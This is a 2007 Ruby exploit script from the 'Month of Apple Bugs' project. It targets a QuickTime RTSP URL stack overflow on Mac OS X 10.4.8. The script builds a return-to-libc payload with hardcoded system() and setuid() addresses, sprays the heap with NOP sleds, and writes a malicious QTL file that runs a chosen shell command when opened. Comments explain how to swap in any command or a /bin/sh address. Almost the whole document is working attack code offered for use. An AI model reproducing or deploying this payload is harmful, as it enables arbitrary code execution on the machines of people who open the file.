aqrtsp.ruby.txt
Posted on 02 January 2007
#!/usr/bin/ruby # Copyright (c) LMH <lmh [at] info-pull.com> # Kevin Finisterre <kf_lists [at] digitalmunition.com> # # Notes: # Our command string is loaded on memory at a static address normally, # but this depends on execution method and the string length. The address set in this exploit will # be likely successful if we open the resulting QTL file directly, without having an # instance of Quicktime running. Although, when using another method and string, you'll need # to find the address. # For 100% reliable exploitation you can always use the /bin/sh address, # but that's not as a cool as having your box welcoming the new year. # Do whatever you prefer. That said, enjoy. # # see http://projects.info-pull.com/moab/MOAB-01-01-2007.html # Command string: Use whatever you like. # Remember that changing this will also need a change of the target address for system(), # unless string length is the same. CMD_STRING = "/usr/bin/say Happy new year shit bag" # Mac OS X 10.4.8 (8L2127) EBP_ADDR = 0xdeadbabe SYSTEM_ADDR = 0x90046c30 # NX Wars: The Libc Strikes Back SETUID_ADDR = 0x900334f0 CURL_ADDR = 0x916c24bc # /usr/bin/curl SHELL_ADDR = 0x918bef3a # /bin/sh CMDSTR_ADDR = [ SHELL_ADDR, # 0 addr to static /bin/sh (lame) 0x17a053c, # 1 addr to our command string (cool) :> (change as necessary) 0xbabeface, # 2 bogus addr for testing. CURL_ADDR # 3 addr to '/usr/bin/curl' ] # Payload HAPPY = ("A" * 299) + [EBP_ADDR].pack("V") + [SYSTEM_ADDR].pack("V") + [SETUID_ADDR].pack("V") + [CMDSTR_ADDR[1]].pack("V") # change array index for using diff. addr # Sleds: not necessary if using /bin/bash addr or other built-in addresses. # although, for using our own fu, we need to spray some data for better reliability # the goal is causing allocation of large heap chunks NEW = ("x90" * 30000) + CMD_STRING # feed the heap YEAR = ("x90" * 30000) + CMD_STRING # go johnny, go APPLE = ("x90" * 30000) + "EOOM" # feed the heap more BOYZ = ("x90" * 30000) + "FOOM" # and more # QTL output template QTL_CONTENT = "<?xml version="1.0"?>" + "<?quicktime type="application/x-quicktime-media-link"?>" + "<embed autoplay="true" moviename="#{NEW}" " + "qtnext="#{YEAR}" type="video/quicktime#{APPLE}" " + "src="rtsp://#{BOYZ}:#{HAPPY}" /> " target_file = File.open("pwnage.qtl", "w+") { |f| f.print(QTL_CONTENT) f.close }
